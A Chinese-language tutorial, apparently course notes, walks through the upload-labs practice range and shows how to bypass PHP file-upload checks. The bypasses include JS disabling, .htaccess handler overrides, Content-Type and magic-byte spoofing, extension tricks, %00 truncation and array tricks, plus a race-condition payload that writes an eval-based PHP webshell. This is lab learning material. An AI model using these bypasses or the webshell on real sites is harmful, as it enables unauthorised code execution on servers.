知识点
- PHP-原生态-文件上传-检测后缀&黑白名单
- PHP-原生态-文件上传-检测信息&类型内容
- PHP-原生态-文件上传-函数缺陷&逻辑缺陷
- PHP-原生态-文件上传-版本缺陷&配置缺陷
学习前必读
- 课前一定要明白:
- 无文件解析安全问题上,格式解析是一对一的(不能jpg解析php)
- 换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析
- 文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!
测试靶场搭建
资源
- 一个字典:https://github.com/fuzzdb-project/fuzzdb
- upload-labs靶场环境:https://github.com/sqlsec/upload-labs-docker
搭建过程
- 下载docker,不管是Windows还是Linux,网上很多教程,自己搜索安装一下就行
- 或者使用之前小迪推荐的f8x项目(链接在文末),也可以安装docker
- 获取网站源码
- 安装了git的可以直接git拉取
git clone https://github.com/sqlsec/upload-labs-docker.git
- 没有git或者不会的就之前去上面那个github链接把东西下载下来就行
- 安装了git的可以直接git拉取
- 进入项目文件夹
cd upload-labs-docker
- 一键部署运行
docker-compose up -d
- 可以查看一下映射了哪些端口出来
cat docker-compose.yml
发现是30001-30013一共13个端口,正好13个关卡
演示upload-labs
今天就按照upload-labs的关卡挨个讲解了文件上传的各种漏洞,总的讲解知识点如下
- ➢PHP-原生态-文件上传-前后端验证
- ➢PHP-原生态-文件上传-类型文件头验证
- ➢PHP-原生态-文件上传-后缀黑白名单验证
- ➢PHP-原生态-文件上传-解析配置&二次渲染
- ➢PHP-原生态-文件上传-逻辑缺陷&函数缺陷
很多关卡也有其他绕过方式,但是因为学习,所以就按照每一关对应知识点来进行绕过,可以学习到更多。
验证是否上传成功,因为我这里的php脚本里面写的是phpinfo,所以上传成功过之后访问正确路径出现phpinfo即可。
第1关
前端JS验证
如何判断是否是前端验证呢?
- 第一种:
可以抓包监听,如burpsuite或者F12开发者工具中的network,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了。 - 第二种:
F12查看一下提交按钮点击是不是触发哪个js函数或者说是不是有js代码检测上传文件,查看一下是否前端验证,如下图
绕过思路
- F12在设置中直接禁用js
- 这样就可以直接上传任意类型文件了,网站的js检测代码将会失效
- 抓包在数据包中修改
- 先将文件名修改为运行上传的类型如xxx.png,xxx.jpg,xxx.gif,xxx.jpeg此类,然后使用burpsuite抓包,在数据包中修改文件名为原本的后缀类型,如php,这样也可以上传成功。
第2关
.htaccess配置文件
.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
下面这个配置就是让把.png的后缀文件当作类型application/x-httpd-php执行(php的类型),也就是当作php执行
AddType application/x-httpd-php .png
绕过思路
- 首先上传.htaccess文件,因为网站没有对该文件上传进行限制,所以可以正常上传。在.htaccess中写入
AddType application/x-httpd-php .png
上传成功后无法访问,因为没有权限,但是不用担心,直接进行后续操作即可。 - 将php脚本文件后缀修改为png进行上传,然后进行访问,发现网站把png文件当成了php执行。
第3关
MIME类型
MIME的组成结构非常简单;由类型与子类型两个字符串中间用 '/' 分隔而组成。不允许空格存在。type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。通用的结构为:type/subtype
MIME类型对大小写不敏感,但是传统写法都是小写。
绕过思路
因为本关只检测文件头中的MIME类型,也就是Content-Type,所以可以直接上传php文件,然后抓包修改数据包中的Content-Type字段为图片类型即可。或者也可以先把脚本修改为png等图片后缀,抓包时会发现Content-Type:已经是图片类型了,把文件名改回php也可以。
上传php脚本正常文件头中Content-Type:字段如下
Content-Type: application/octet-stream
修改值为以下任一图片类型即可
Content-Type:image/png Content-Type:image/jpeg Content-Type:image/gif Content-Type:image/jpg
即可成功上传php文件。
第4关
文件头判断
一个文件里面的内容到底是啥?用惯了Windows的人肯定是看后缀。但是后缀这个东西说改就改,不可靠。所以,最保险的还是把文件类型信息写到文件里面,通常来说,也就是写到文件开头的那几个字节。这是最方便,最快捷的用来辨别一个文件真实内容的方法。
常见的文件头标志如下:
JPEG (jpg), 文件头:FFD8FF PNG (png), 文件头:89504E47 GIF (gif), 文件头:47494638 HTML (html), 文件头:68746D6C3E ZIP Archive (zip), 文件头:504B0304 RAR Archive (rar), 文件头:52617221 Adobe Acrobat (pdf), 文件头:255044462D312E MS Word/Excel (xls.or.doc), 文件头:D0CF11E0
绕过思路
因为本关检测的是文件头,所以使用可以进行十六进制编辑的工具(我这里用的是010Editor.exe)打开php脚本进行编辑,在文件开头添加上面任一图片类型的文件头,如下,我这里添加的是gif
然后上传时将该php脚本后缀修改为任一图片类型,然后抓包在改回php即可上传成功。(因为要使Content-Type为图片类型,不然的话自己手动把Content-Type改成图片类型也可以。)
第5关
黑名单-过滤不严
根据提示,该关使用了黑名单过滤,但是过滤不严谨,不够完善,如双写,这里的str_ireplace是不区分大小写的过滤,即不论大写啊hi是小写都会被替换,所以这里不能使用大小写绕过。
绕过思路
这里无递归,所以直接双写即可绕过,抓包将php脚本后缀修改为pphphp即可成功上传。
第6关
黑名单-过滤不严
本关属于理论上漏洞,因为题目环境是 Docker 容器运行的 Linux 系统,所以本题人工修改成了 Windows 的特性
根据提示,该关使用了黑名单过滤,但是过滤不严谨,不够完善,如大小写,双写,这里的str_replace是区分大小写的过滤,即只匹配替换写在黑名单中的后缀。这里不能双写,因为它将非法后缀替换为空格,而不是空。
绕过思路
Linux系统大小写敏感,Windows系统大小写不敏感,把php脚本后缀修改为PHP等大写即可上传成功。
第7关
低版本GET-%00截断
自动解码一次
/var/www/html/upload/x.php%00
第8关
8、低版本POST-%00截断
手工解码一次
../upload/x.php%00 二次解码
第9关
9、黑名单-过滤不严
php3
第10关
10、逻辑不严-条件竞争
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
上传不断发包
请求不断发包
第11关
11、二次渲染
先搞个正常图片,上传导出渲染后的图片
对比保留部分,在保留部分添加后门代码
最后利用提示的文件包含执行图片后门代码
第12关
、函数缺陷
move_uploaded_file 1.php/.
第13关
、代码审计-数组绕过
-----------------------------174283082921961
Content-Disposition: form-data; name="save_name[0]"
http://2.php/
-----------------------------174283082921961
Content-Disposition: form-data; name="save_name[2]"
gif
参考
学习内容均来自小迪安全系列课程:http://xiaodi8.com/
红/蓝队环境自动化部署工具 :https://github.com/ffffffff0x/f8x
爆赞